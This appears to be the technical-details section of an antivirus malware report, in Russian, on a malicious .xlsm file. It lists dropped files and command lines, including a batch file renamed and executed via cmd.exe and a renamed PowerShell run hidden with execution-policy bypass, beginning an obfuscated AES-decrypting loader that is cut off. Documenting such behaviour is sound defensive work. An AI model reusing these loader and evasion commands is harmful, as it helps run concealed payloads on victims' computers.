Техническая информация
- '<SYSTEM32>\cmd.exe' /c ren %ALLUSERSPROFILE%\new.txt new.bat
- '<SYSTEM32>\cmd.exe' /c %ALLUSERSPROFILE%\new.bat
- %TEMP%\error003040_01.xml
- %ALLUSERSPROFILE%\new.txt
- %ALLUSERSPROFILE%\new.bat.exe
- <Текущая директория>\66551000
- %ALLUSERSPROFILE%\new.txt в %ALLUSERSPROFILE%\new.bat
- <PATH_SAMPLE>.xlsm
- '%ALLUSERSPROFILE%\new.bat.exe' -noprofile -w hidden -ep bypass -c function fzxea($fATVi){$SeOaI = New-Object System.Security.Cryptography.AesManaged;$SeOaI.Mode = [System.Security.Cryptography.CipherMode]::CBC;$SeOaI.Padding...